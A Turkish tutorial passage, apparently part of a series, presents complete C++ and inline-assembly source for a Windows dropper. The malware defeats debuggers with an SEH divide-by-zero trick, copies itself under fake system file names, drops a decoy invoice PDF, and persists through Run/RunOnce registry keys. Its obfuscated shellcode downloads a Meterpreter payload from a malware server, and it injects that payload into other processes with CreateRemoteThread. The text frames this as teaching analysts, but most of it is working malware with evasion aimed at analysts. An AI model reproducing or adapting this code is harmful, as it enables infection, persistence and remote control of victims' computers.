Zararlı yazılım kodları makalemizin birinci bölümünde belirtilmiş olan stratejinin uygulanmasını sağlayacak. Bu bölümde kodları, kodların içindeki yorumları ve alttaki açıklamaları okuyarak tam olarak ne yapılmaya çalışıldığını anlamaya gayret edin.
Bu hedefe özellikle shellcode tekniklerinin uygulandığı HTTP erişimi bölümünde bir defada tam olarak kavramanız mümkün olmayacaktır, o yüzden gerekli zamanı ayırın.
Ana Bölüm
// Uygulama çalıştığında bir konsol ekranı açılmaması için aşağıdaki main fonksiyon tanımını kullanıyoruz. // Ayrıca Project / Properties / Linker / System / Subsystem = Windows(/SUBSYSTEM:WINDOWS) tanımını da yapmamız gerekiyor. int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { // Anti-debug önlemi SetUnhandledExceptionFilter(UnhandledExcepFilter); _asm {xor eax, eax} _asm {div eax} // Sisteme bulaşmış mıyız kontrol et, bulaşmışsak çık // Bulaşmamışsak fatura pdf dosyasını da drop ederek görüntüle // Kendi exe dosyanı kalıcılık için farklı bir dizine farklı bir isimle kopyala ve autorun registry kayıtlarına ekle f_persistency(); // Meterpreter payload'unu malware sunucusundan HTTP ile indir ve bellekte sakladıktan sonra scData pointer'ına bu alanın adresini ata scData = f_downloadWebFile(); // Mevcut proses'leri belirledikten sonra tek tek code injection'ı dene f_enumerateAllProcesses(); for (int i = 0; i < cProcesses; i++) { if (f_injectProcessMemory(aProcesses[i])) { int j = GetLastError(); } else { return 0; } } return 1; }
Main fonksiyonumuz bir anti-debug önlemi ile başlıyor. Inline assembly kullanarak bir sıfıra bölme hatası üretiyoruz. Ancak bundan hemen önce bir hata ele alma fonksiyonunu tanımlıyoruz. İşletim sistemi bu işlemi Structured Exception Handler mekanizması ile hallediyor. Hata ele alma fonksiyonunu aşağıda belirteceğiz.
Anti-debug önleminden sonra daha önce sisteme bulaşıp bulaşmadığımızı kontrol eden ve kalıcılığı sağlayan fonksiyonu (f_persistency) çağırıyoruz. Bu fonksiyonu da aşağıda belirteceğiz.
Bir sonraki adımda bir btr-mlwsunucu sunucusundan paket.bin dosyasını indirmek üzere f_downloadWebFile() fonksiyonunu çağırıyoruz. Bu fonksiyon bellekten dinamik olarak bir yer ayıracak ve bu alana yazdığı payload verisine pointer’ı geri döndürecek. Biz de bu pointer değerini scData adlı global değişkene atayacağız. Bu global değişkeni daha sonraki fonksiyonlardan da payload verisine erişebilmek için kullanacağız.
Son olarak f_enumerateAllProcesses() fonksiyonu ile tüm proses’lerin bir resmini çekeceğiz ve sırayla bu proseslerden bir tanesine payload’umuzu f_injectProcessMemory(processid) fonksiyonuyla inject etmeyi deneyeceğiz. Yazılımımızdaki en belirsiz nokta burası. Eğer mevcut proseslerden 32 bit’lik olanlardan herhangi birisi için uygulamayı çalıştıran kullanıcının hakları yeterli değil ise bu adımı gerçekleştiremeyiz ve dolayısıyla payload’umuz çalışmaz. Bunu bilmek bir analist için şu anlama gelir, zararlı yazılımlar her sistem üzerinde tam olarak çalışmayabilirler, dolayısıyla analist zararlıyı uygun bir sistem üzerinde denemelidir. Tabi bu karara statik analizin sonuçlarını kullanarak ve deneme yanılma yöntemiyle ulaşabilir.
Hata ele alma fonksiyonumuz ise aşağıdaki gibi:
// Debugger'ı engellemek için kullandığımız bu yöntem exception handling işi uygulama tarafından yapıldığında problem olmayacak LONG WINAPI UnhandledExcepFilter(PEXCEPTION_POINTERS pExcepPointers) { // İlk iş olarak eski UnhandledExceptionFilter'ı tekrar geçerli hale getir SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER) pExcepPointers->ContextRecord->Eax); // Hataya yol açan kod bölümünü atlatmak için EIP registerını 2 byte artır. Normalde EIP register'ına doğrudan müdahale edilemez. Burada Windows'un SEH altyapısı içinde bu veri yapısı ile işletim sistemine bu işlem yaptırılabiliyor sanıyorum. pExcepPointers->ContextRecord->Eip += 2; return EXCEPTION_CONTINUE_EXECUTION; }
Daha Önce Bulaştık mı Kontrolü ve Kalıcılığın Sağlanması
bool f_persistency() { LPWSTR wszPath = NULL; HRESULT hr; int i, j; // Yazma hakkımız var mı diye random olarak deneyeceğimiz folder'lar // Dizin isimlerini açıkça yazmak zorunda kalmadığımızdan analistin işi de zorlaşacak KNOWNFOLDERID arrKnownFolderIds[15] = { FOLDERID_System, FOLDERID_ProgramFiles, FOLDERID_ProgramFilesX86, FOLDERID_ProgramFilesCommon, FOLDERID_Windows, FOLDERID_AdminTools, FOLDERID_UserProgramFilesCommon, FOLDERID_UserProgramFiles, FOLDERID_ProgramData, FOLDERID_LocalAppData, FOLDERID_PublicDocuments, FOLDERID_Documents, FOLDERID_CommonAdminTools, FOLDERID_CommonPrograms, FOLDERID_Libraries }; // Sistem dosyasıymış gibi kulağa gelen dosya isimleri, random olarak kullanılacaklar // PE imajında görünecek bu isimler TCHAR newFileName[10][MAX_PATH] = { L"apnputil.exe", L"netdrv.exe", L"expraw.exe", L"igfxperso.exe", L"juschedule.exe", L"rundll.exe", L"taskhost32.exe", L"winlogon32.exe", L"splwow.exe", L"netsess.exe" }; // Fatura pdf dosyamızı diske yazacağımız farklı pdf dosya isimleri // PE imajında görünecek bu isimler TCHAR pdfFileName[10][MAX_PATH] = { L"manual.pdf", L"instructions.pdf", L"installation.pdf", L"readme.pdf", L"menu.pdf", L"WindowsClient.pdf", L"UserMan.pdf", L"description.pdf", L"ApplicantForm.pdf", L"form.pdf" }; // Kalıcılığı sağlamak için kullanabileceğimiz registry anahtarları LPCTSTR keys[2] = { L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce" }; // Kalıcılığı sağlamak için kullanabileceğimiz registry değerleri LPCTSTR values[6] = { L"SysUpnpCtl", L"RunSysControl", L"IntegritySubSys", L"AuthThrust", L"MicrosoftUsrCnt", L"SynapticsSrv" }; TCHAR szThisFileName[MAX_PATH]; GetModuleFileName(NULL, szThisFileName, MAX_PATH); TCHAR targetExeFileName[MAX_PATH]; TCHAR targetPdfFileName[MAX_PATH]; int index; random_device rd; mt19937 gen(rd()); // Daha önce sisteme yerleşmiş miyiz kontrol etmek için olası tüm dizinler içinde olası tüm dosya isimlerini ara for (i = 0; i < (sizeof(arrKnownFolderIds) / sizeof(*arrKnownFolderIds)); i++) { for (j = 0; j < 10; j++) { memset(targetExeFileName, 0, sizeof(targetExeFileName)); hr = SHGetKnownFolderPath(arrKnownFolderIds[i], KF_FLAG_DEFAULT, NULL, &wszPath); PathAppend(targetExeFileName, wszPath); PathAppend(targetExeFileName, newFileName[j]); if (PathFileExists(targetExeFileName)) { return false; } } } // Daha önceden yerleşmemişsek kendimizi kopyalayacak yer bul for (i = 0; i < 150; i++) { memset(targetExeFileName, 0, sizeof(targetExeFileName)); index = gen() % 15; hr = SHGetKnownFolderPath(arrKnownFolderIds[index], KF_FLAG_CREATE, NULL, &wszPath); PathAppend(targetExeFileName, wszPath); index = gen() % 10; PathAppend(targetExeFileName, newFileName[index]); if (CopyFile((LPCWSTR(szThisFileName)), (LPCWSTR(targetExeFileName)), 0)) { // PDF dosyasını da aynı dizine drop et HRSRC myResource = ::FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); unsigned int myResourceSize = ::SizeofResource(NULL, myResource); HGLOBAL myResourceData = ::LoadResource(NULL, myResource); void* pMyBinaryData = ::LockResource(myResourceData); memset(targetPdfFileName, 0, sizeof(targetPdfFileName)); PathAppend(targetPdfFileName, wszPath); index = gen() % 10; PathAppend(targetPdfFileName, pdfFileName[index]); std::ofstream f(targetPdfFileName, std::ios::out | std::ios::binary); f.write((char*)pMyBinaryData, myResourceSize); f.close(); // Shell execute ilgili executable'ı bularak pdf i aç ShellExecute(NULL, L"open", targetPdfFileName, NULL, NULL, SW_SHOW); break; } } HKEY keyValue; TCHAR * randKey = new TCHAR[MAX_PATH + 1]; int randHive; LONG openRes; LONG setRes; // Kalıcılık için bir autorun registry anahtarı seç ve rastgele belirlenen değerleri kullanarak kaydı oluştur for (i = 0; i < 150; i++) { randHive = gen() % 2; if (randHive == 1) { openRes = RegOpenKeyEx(HKEY_CURRENT_USER, keys[gen() % 2], 0, KEY_ALL_ACCESS, &keyValue); } else { openRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE, keys[gen() % 2], 0, KEY_ALL_ACCESS, &keyValue); } if (openRes != ERROR_SUCCESS) { continue; } setRes = RegSetValueEx(keyValue, values[gen() % 6], 0, REG_SZ, (LPBYTE)targetExeFileName, _tcslen(targetExeFileName) * sizeof(TCHAR)); if (setRes != ERROR_SUCCESS) { RegCloseKey(keyValue); continue; } else { RegCloseKey(keyValue); break; }; } return true; }
Comment’lerle kod bölümlerine ilişkin özet bilgi veriliyor. Bununla birlikte bu fonksiyonda ilgi çekici noktalar aşağıdaki gibidir:
- Yazmak için kullandığımız dizinlerin isimleri string olarak tanımlanmıyor, bunun yerine Windows kütüphanelerinde bulunan dizin ID’lerini kullanıyoruz. Bu sayede analist dizin isimlerini açıkça göremeyecek.
- Dosyamızı kopyalayacağımız dizin ve dosya adını rassal olarak seçiyoruz, bu da eğer dinamik analizi tek seferlik deneme ile sonlandırırsa ve yeterli statik analiz yapmaz ise uygulamanın davranışının tek örneğini esas almasına yol açabilir. Bu durumda enfekte olmuş diğer bilgisayarları ararken bazılarını gözden kaçırmasına neden olabilir.
- Bu fonksiyon ile resource olarak eklediğimiz PDF dosyasını da diske yazıyoruz ve pdf reader uygulaması ile açıyoruz. Tabi bu işlem sadece uygulama daha önce bulaşılmamış bir sistem üzerinde çalıştığında gerçekleşiyor. Sonraki çalışmalarda bu işlem gerçekleşmiyor, çünkü autorun registry kaydı nedeniyle uygulama her sistem reboot’unda çalıştığında PDF dosyasının tekrar görüntülenmesini istemeyiz. Bu durum kullanıcıyı muhakkak şüphelendirecektir.
- Son olarak yine birkaç alternatif içinden seçeceğimiz ve hakkımız olan bir registry anahtarını kullanarak sistemin tekrar başlatıldığında hayatta kalmaya çalışıyoruz. Testlerimizde bazı sistemlerde yazdığımız bu kayıtların işletim sistemi tarafından temizlendiğini gördük. Bu nedenle daha ciddi bir saldırı durumunda daha güvenilir bir yöntem kullanılması gerekecektir.
Zararlı Payload Sunucusuna HTTP ile Bağlanma ve Payload’un Çekilmesi
Uygulamanın bu bölümü yapılan işlemin PE dosyasının Import Address Table’ına bakarak tahmin edilememesi için Assembly dili ile ve shellcode teknikleri kullanılarak geliştirilmiştir. Shellcode teknikleri sayesinde dinamik olarak yüklenecek kütüphanelerin hangi fonksiyonlarının kullanıldığı dahi string verilerine bakılarak görülememektedir.
char* f_downloadWebFile() { char* data = NULL; DWORD dwBytesRead = 0; DWORD dwBytesWritten = 0; dataSize = 0; // Shellcode takip parametreleri int s_Kernel32_Modul; int s_Kernel32_LoadLibraryA; int s_Wininet_Modul; int s_Wininet_InternetOpenW; //hash değeri 83e2f21f int s_Wininet_InternetOpenUrlW; //hash değeri 91c42136 int s_Wininet_InternetReadFile; //hash değeri 924c1dc0 int s_Wininet_InternetCloseHandle; //hash değeri 00846d66 HINTERNET hOpen; HINTERNET hFile; _asm { pushad kernel32_bul : xor ecx, ecx mov esi, fs : [0x30]; PEB adresi mov esi, [esi + 0x0c]; PEB LOADER DATA adresi mov esi, [esi + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adresi bir_sonraki_modul : mov ebx, [esi + 0x08]; Modülün baz adresi mov edi, [esi + 0x20]; Modül adı(unicode formatında) mov esi, [esi]; esi = Modül listesinde bir sonraki modül meta datalarının bulunduğu adres InInitOrder[X].flink(sonraki modul) cmp[edi + 12 * 2], cl; KERNEL32.DLL 12 karakterden oluştuğu için 24. byte ın null olup olmadığını kontrol ediyoruz.Bu yöntem olabilecek en güvenli ve jenerik yöntem değil, ancak işimizi görüyor. jne bir_sonraki_modul; Eğer 24. byte null değilse kernel32.dll ismini bulamamışız demektir cmp[edi + 6 * 2], 0x33; KERNEL32.DLL 7. karakteri 3 olmalı jne bir_sonraki_modul; Eğer 24. byte null değilse kernel32.dll ismini bulamamışız demektir mov s_Kernel32_Modul, ebx; Kernel32 modülünün adresini daha sonraki adımlarda kullanmak üzere C değişkenine yazıyoruz ; LoadLibraryA fonksiyonunun adresini bul push ebx; Kernel32nin adresini stacke yaz push 0x583c436c; LoadLibraryA fonksiyon adının hashi call fonksiyon_bul; eax ile LoadLibraryA fonksiyonunun adresini döndürür add esp, 8 mov s_Kernel32_LoadLibraryA, eax push 0x006C6C64; "0lld" xchg eax, eax; dll adı açıkça yan yana gelmesin ve analist strings aracı ile kolayca bulamasın diye arada kod üretiyoruz xchg ebx, ebx xchg ecx, ecx xchg edx, edx push 0x2E74656E; ".ten" xchg eax, eax; dll adı yan yana gelmesin diye arada kod üretiyoruz xchg ebx, ebx xchg ecx, ecx xchg edx, edx push 0x696E6977; "iniw" 3 PUSH harcadık, 12 byte temizlemeyi unutma push esp; wininet.dll0 stringinin adresini stack e yaz mov eax, s_Kernel32_LoadLibraryA call eax; LoadLibraryA fonksiyonunu çağır, EAX register ında wininet.dll modülünün adresi dönecek add esp, 12; wininet.dll için stackte aldığımız yeri geri ver.Windows stdcall yöntemiyle fonksiyon çağırır ve çağrılan fonksiyon parametreler için ayrılan yeri temizler. mov s_Wininet_Modul, eax; Wininet modül adresini C değişkeninde sakla ; Wininet.dll içinde InternetOpenW fonksiyonunun adresini bul mov ebx, s_Wininet_Modul push ebx; Wininet in adresini stacke yaz push 0x83e2f21f; InternetOpenW fonksiyon adının hashi call fonksiyon_bul; eax ile InternetOpenW fonksiyonunun adresini döndürür add esp, 8 mov s_Wininet_InternetOpenW, eax ; Wininet.dll içinde InternetOpenUrlW fonksiyonunun adresini bul mov ebx, s_Wininet_Modul push ebx; Wininet in adresini stacke yaz push 0x91c42136; InternetOpenW fonksiyon adının hashi call fonksiyon_bul; eax ile InternetOpenW fonksiyonunun adresini döndürür add esp, 8 mov s_Wininet_InternetOpenUrlW, eax ; Wininet.dll içinde InternetReadFile fonksiyonunun adresini bul mov ebx, s_Wininet_Modul push ebx; Wininet in adresini stacke yaz push 0x924c1dc0; InternetReadFile fonksiyon adının hashi call fonksiyon_bul; eax ile InternetReadFile fonksiyonunun adresini döndürür add esp, 8 mov s_Wininet_InternetReadFile, eax ; Wininet.dll içinde InternetCloseHandle fonksiyonunun adresini bul mov ebx, s_Wininet_Modul push ebx; Wininet in adresini stacke yaz push 0x00846d66; InternetCloseHandle fonksiyon adının hashi call fonksiyon_bul; eax ile InternetCloseHandle fonksiyonunun adresini döndürür add esp, 8 mov s_Wininet_InternetCloseHandle, eax ; Gerekli parametreleri stack e yerleştir push 0x00000072 push 0x00650072 push 0x006F006C push 0x00700078 push 0x00450020 push 0x00740065 push 0x006E0072 push 0x00650074 push 0x006E0049 push 0x00200074 push 0x0066006F push 0x0073006F push 0x00720063 push 0x0069004D mov ebx, esp; L"Microsoft Internet Explorer" push 0 push 0 push 0 push 0 push ebx ; InternetOpenW fonksiyonunu çağır ve eax i C parametresine - hOpen - ata mov eax, s_Wininet_InternetOpenW call eax add esp, 56; Stack ten Microsoft Internet Explorer için aldığımız 14 * 4 = 56 byte ı geri ver mov hOpen, eax jmp bitis; Buradan sonra shellcode un sonuna ilerlemeliyiz ; Fonksiyon: Fonksiyon hashlerini karşılaştırarak fonksiyon adresini bulmak için. ; esp + 8 de modül adresini, esp + 4 te fonksiyon hashini alır ; Fonksiyon adresini eax ile döndürür fonksiyon_bul : mov ebx, [esp + 0x08]; Modül adresini al mov eax, [ebx + 0x3c]; MSDOS başlığını atlıyoruz mov edx, [ebx + eax + 0x78]; Export tablosunun RVA adresini edx e yazıyoruz add edx, ebx; Export tablosunun VA adresini hesaplıyoruz mov ecx, [edx + 0x18]; Export tablosundan toplam fonksiyon sayısını sayaç olarak kullanmak üzere kaydediyoruz mov ebx, [edx + 0x20]; Export names tablosunun RVA adresini ebx e yazıyoruz add ebx, [esp + 0x08]; Export names tablosunun VA adresini hesaplıyoruz fonksiyon_bulma_dongusu : dec ecx; Sayaç son fonksiyondan başlayarak başa doğru azaltılır mov esi, [ebx + ecx * 4]; Export names tablosunda sırası gelen fonksiyon adının pointerının VA adresini hesaplıyoruz ve pointer ı ESI a atıyoruz(pointer RVA formatında) add esi, [esp + 0x08]; Fonksiyon pointerının VA adresini hesaplıyoruz hash_hesapla : xor edi, edi xor eax, eax cld; lods instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz hash_hesaplama_dongusu : lodsb; ESI nin işaret ettiği mevcut fonksiyon adı harfini(yani bir byteı) AL registerına yüklüyoruz ve ESI yi bir artırıyoruz test al, al; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz jz hash_hesaplandi; AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz ror edi, 0xf; Hash değerini 15 bit sağa rotate ettiriyoruz add edi, eax; Hash değerine mevcut karakteri ekliyoruz jmp hash_hesaplama_dongusu hash_hesaplandi : hash_karsilastirma: cmp edi, [esp + 0x04]; Hesaplanan hash değerinin stackte parametre olarak verilen fonksiyon hash değeri ile tutup tutmadığını kontrol ediyoruz jnz fonksiyon_bulma_dongusu mov ebx, [edx + 0x24]; Fonksiyonun adresini bulabilmek için Export ordinals tablosunun RVA adresini tespit ediyoruz add ebx, [esp + 0x08]; Export ordinals tablosunun VA adresini hesaplıyoruz mov cx, [ebx + 2 * ecx]; Fonksiyonun Ordinal numarasını elde ediyoruz(ordinal numarası 2 byte) mov ebx, [edx + 0x1c]; Export adres tablosunun RVA adresini tespit ediyoruz add ebx, [esp + 0x08]; Export adres tablosunun VA adresini hesaplıyoruz mov eax, [ebx + 4 * ecx]; Fonksiyonun ordinal numarasını kullanarak fonksiyon adresinin RVA adresini tespit ediyoruz add eax, [esp + 0x08]; Fonksiyonun VA adresini hesaplıyoruz fonksiyon_bulundu : ret bitis : popad; Registerları ilk baştaki orijinal değerlerine döndürmek için tekrar stackten alarak güncelliyoruz } /* // Internet bağlantısını kur hOpen = InternetOpen( L"Microsoft Internet Explorer", // agent INTERNET_OPEN_TYPE_PRECONFIG, // access NULL, NULL, 0); // defaults */ _asm { pushad ; Gerekli parametreleri stack e yerleştir push 0x00000000 push 0x006E0069 push 0x0062002E push 0x00740065 push 0x006B0061 push 0x0070002F push 0x00750063 push 0x0075006E push 0x00750073 push 0x0077006C push 0x006D002D push 0x00720074 push 0x0062002F push 0x002F003A push 0x00700074 push 0x00740068 mov ebx, esp; L"http://btr-mlwsunucu/paket.bin" push 0 push 0 push 0 push 0 push ebx mov ebx, hOpen push ebx ; InternetOpenUrl fonksiyonunu çağır ve eax i C parametresine - hFile - ata mov eax, s_Wininet_InternetOpenUrlW call eax add esp, 64 mov hFile, eax ; Stack ten Microsoft Internet Explorer için aldığımız 16 * 4 = 64 byte ı geri ver popad } /* // Sayfayı indir hFile = InternetOpenUrl( hOpen, // session handle L"http://btr-mlwsunucu/paket.bin", // URL to access NULL, 0, 0, 0); // defaults */ if (hFile == 0) return 0; do { char buffer[2000]; int cntBuffer = _countof(buffer); _asm { pushad lea ecx, [dwBytesRead] push ecx push cntBuffer lea edx, [buffer] push edx mov eax, hFile push eax ; InternetReadFile fonksiyonunu çağır mov eax, s_Wininet_InternetReadFile call eax popad } /* InternetReadFile(hFile, (LPVOID)buffer, _countof(buffer), &dwBytesRead); */ char *tempData = new char[dataSize + dwBytesRead]; memcpy(tempData, data, dataSize); memcpy(tempData + dataSize, buffer, dwBytesRead); delete[] data; data = tempData; dataSize += dwBytesRead; } while (dwBytesRead); _asm { pushad mov eax, hFile push eax ; InternetCloseHandle fonksiyonunu çağır mov eax, s_Wininet_InternetCloseHandle call eax popad } /* InternetCloseHandle(hFile); */ _asm { pushad mov eax, hOpen push eax ; InternetCloseHandle fonksiyonunu çağır mov eax, s_Wininet_InternetCloseHandle call eax popad } /* InternetCloseHandle(hOpen); */ // Bu noktada data pointer'ı indirilen dosyaya işaret ediyor, dataSize da indirilen dosyanın boyutuna return data; }
Inline assembly yönteminin kullanıldığı yukarıdaki kod içinde assembly ve C++ comment alanlarında bazı açıklamaları bulabilirsiniz. Yukarıda gördüğünüz kod parçası exploit shellcode geliştirme know how’ının zararlı yazılım geliştirme amacıyla kullanımına bir örnektir.
Aralarda comment’lenmiş olarak gördüğünüz web erişim kodları Assembly ile tekrar kodlanmıştır.
Assembly’de bir Windows API’sinin aldığı parametreleri ve nasıl çağrıldığını rahatça görmek için VS’da kod bölümüne sağ klikleyerek Go to Disassembly seçeneğini seçebilir ve VS’nun üreteceği assembly kodunu görebiliriz. Bu kod bizi farklı bir header dosyasında Define edilmiş pek çok sabit değerin ne olduğuna ilişkin dokümantasyona bakma zahmetinden de kurtaracaktır.
// Internet bağlantısını kur hOpen = InternetOpen( 00FB9866 mov esi,esp 00FB9868 push 0 00FB986A push 0 00FB986C push 0 00FB986E push 0 00FB9870 push offset string L"Microsoft Internet E"... (0FC6958h) 00FB9875 call dword ptr [__imp__InternetOpenW@20 (0FCE30Ch)] 00FB987B cmp esi,esp 00FB987D call __RTC_CheckEsp (0FB1393h) 00FB9882 mov dword ptr [hOpen],eax L"Microsoft Internet Explorer", // agent INTERNET_OPEN_TYPE_PRECONFIG, // access NULL, NULL, 0); // defaults
f_downloadWebFile() fonksiyonu ile ilgili dikkate değer konular şunlardır:
- Öncelikle her Windows prosesinde bellekte yüklü bulunan ve LoadLibrary fonksiyonunu barındıran Kernel32.dll kütüphanesinin adresini shellcode teknikleri ile Process Environment Block (PEB) veri yapısı ve diğer imkanları kullanarak buluyoruz.
- Daha sonra PE dosya formatından faydalanarak Export adres tablosundan LoadLibrary fonksiyonunun bellekteki adresini buluyoruz.
- Hangi kütüphaneyi yükleyeceksek bu kütüphanenin ismini LoadLibrary fonksiyonuna parametre olarak veriyor ve çalışma sırasında bu kütüphaneyi biz yüklüyoruz.
- Yine yüklenen kütüphane içinde PE dosya formatının özelliklerini kullanarak kullanacağımız fonksiyonun bellekteki adresini (Virtual Address) buluyoruz. Daha sonra bu fonksiyona gerekli parametreleri stack üzerinden vererek fonksiyonumuzu çağırıyoruz.
- Yukarıdaki kodu incelediğinizde Internet Explorer bileşenleri ile web erişimi sağlandığı görülebilir. Bu sayede proxy kullanan kullanıcılar için proxy imkanıda zararlı yazılım tarafından kullanılabilmektedir.
- Shellcode’un anlaşılabilmesi için temel Assembly bilgisinin yanı sıra yukarıda bahsettiğimiz PE dosya formatı ve PEB veri yapısı hakkında da temel bilgi sahibi olunması gerekmektedir.
- Shellcode içinde yine analistin strings komutu ile yüklenen kütüphane ismini kolayca anlayamaması için eklenmiş işlevsiz assembly instruction’ları görülebilir. Biz zaten kompleks olan kodun anlaşılırlığını daha da azaltmamak için bu eklemeleri yapmadık, ancak analistin statik analizini daha da zorlaştırmak için çeşitli anti-disassembly önlemleri bu bölüm için çok uygun olurdu. Bu tekniklere ilişkin örnek ve bilgileri başka bir makalede vereceğiz.
İndirilen Payload’un Sistem Üzerindeki Farklı Bir Proses’in Adres Alanında Çalıştırılması
// Çalışan tüm proses'leri tespit et ve process array'ine id'lerini kaydet int f_enumerateAllProcesses(void) { unsigned int i = 0; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Bu anda sistem üzerindeki tüm process'lerle ilgili meta bilgilerin bir resmini çek if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { // Sırasıyla process bilgileri içinden process id'lerini oku ve array'e yaz aProcesses[i] = entry.th32ProcessID; i += 1; } // while } else { return 1; // Process'lerle ilgili bilgileri alamadık } cProcesses = i; CloseHandle(snapshot); return 0; }
Bu bölümde yapılan şey son derece basit, uygulama yorum bölümlerinde de belirtildiği gibi belli bir anda çalışan proses’lerin resmi çekilerek id’leri bir array’e dolduruluyor. Daha sonra bu array’deki proses id’lerini sırayla kullanarak injection yapmaya çalışacağız.
// Hedef process'in adres alanına yazabilmek için gerekli yetkileri almaya çalış int f_setDebugPrivileges(HANDLE hProcess) { DWORD error = 0; TOKEN_PRIVILEGES Debug_Privileges; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Debug_Privileges.Privileges[0].Luid)) return GetLastError(); HANDLE hToken = 0; // Process token handler'ını al if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) { error = GetLastError(); if (hToken) CloseHandle(hToken); return error; } // Debug yetkilerini aktif hale getir Debug_Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Debug_Privileges.PrivilegeCount = 1; if (!AdjustTokenPrivileges(hToken, false, &Debug_Privileges, 0, NULL, NULL)) { error = GetLastError(); if (hToken) CloseHandle(hToken); } return 0; // Hata almadan bu noktaya gelmişsek yetkileri almışızdır }
Bu bölümde injection öncesinde hedef proses’e erişim yetkilerimizi yükseltmeye çalışıyoruz. Buradaki yükseltmeden kasıt bizim buna hakkımız yokmuş da biz bir hacking yöntemi ile yapıyormuşuz değil, aksine bunu yapabilmemiz için zararlıyı çalıştıran kullanıcının bu işlemi yapmaya hakkı olması lazım. Eğer yetkilerimizi gerekli seviyeye çekebiliyorsak injection işlemini de yapabileceğiz.
// Belli bir proses id'sine sahip proses'in adres alanına shellcode payload'umuzu inject etmeye çalışacağız // Burada hedef process'in 32 bit mi 64 bit mi olduğunu kontrol etmiyoruz. Ancak 32 bit'lik bir payload ancak 32 bit'lik bir process'in adres alanında çalışabilir, benzer şekilde 64 bitlik bir payload'da 64 bit'lik bir process'in adres alanında çalışabilir // Bu işlemi tüm process'ler için sırayla deneyeceğiz, o yüzden kontrol etmeye gerek yok, hata alırsak bir sonrakini deneyeceğiz int f_injectProcessMemory(DWORD pid) { LPVOID memory = NULL; // Shellcode'un bellekte bulunduğu alanın pointer'ı DWORD thread_id; // Hedef proses'in adres alanında yeni oluşturulan thread'in id'si HANDLE thread; // Remote thread handle'ı // Process id'sini kullanarak process handle'ını al HANDLE hProcess = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, pid); if (hProcess == NULL) { return 1; //error } // Uygulamamızın injection için yeterli haklarla çalıştığından emin olabilmek için f_setDebugPrivileges(GetCurrentProcess()); f_setDebugPrivileges(hProcess); if (hProcess) { // Hedef proses'in belleğinde payload'umuz kadar yer ayır memory = VirtualAllocEx(hProcess, 0, dataSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Bellek erişim kontrol flag'leri SIZE_T written = 0; LPVOID lpCallback = NULL; // Payload'umuzu hedef proses'te ayırdığımız bellek alanına yazalım if (WriteProcessMemory(hProcess, memory, scData, dataSize, &written)) { // Yazdığımız shellcode'umuzu hedef proses içinde yeni bir thread olarak başlatalım thread = CreateRemoteThread(hProcess, NULL, 0, (DWORD(__stdcall*)(void*))memory, 0, 0, 0); if (thread != NULL) { // Thread'in sonlanmasını beklememize gerek yok, çünkü payload'umuz kendi ihtiyaç duyduğu süre boyunca çalışacak // Bu nedenle hedef proses'in bellek alanında herhangi bir temizlik de yapmayacağız, normalde VirtualFreeEx(hProcess, memory, 0, MEM_RELEASE); satırıyla bunu yapmalıydık }//if thread else { return 1; // Thread'imiz başlatılamadı } } // if WriteProcessMemory CloseHandle(hProcess); return 0; } // if hProcess return 1; // Bu noktaya geldiysek hedef proses'in adres alanına yazamadık veya farklı bir şey ters gitti }
Son olarak Windows işletim sisteminin imkanlarını kullanarak verilen bir process id’sine sahip bir proses’in adres alanından bir yer ayırıyoruz ve bu process’in içinde yeni bir thread’i belleğe yazdığımız kodu çalıştıracak biçimde başlatıyoruz.
<< Önceki Bölüm Sonraki Bölüm >>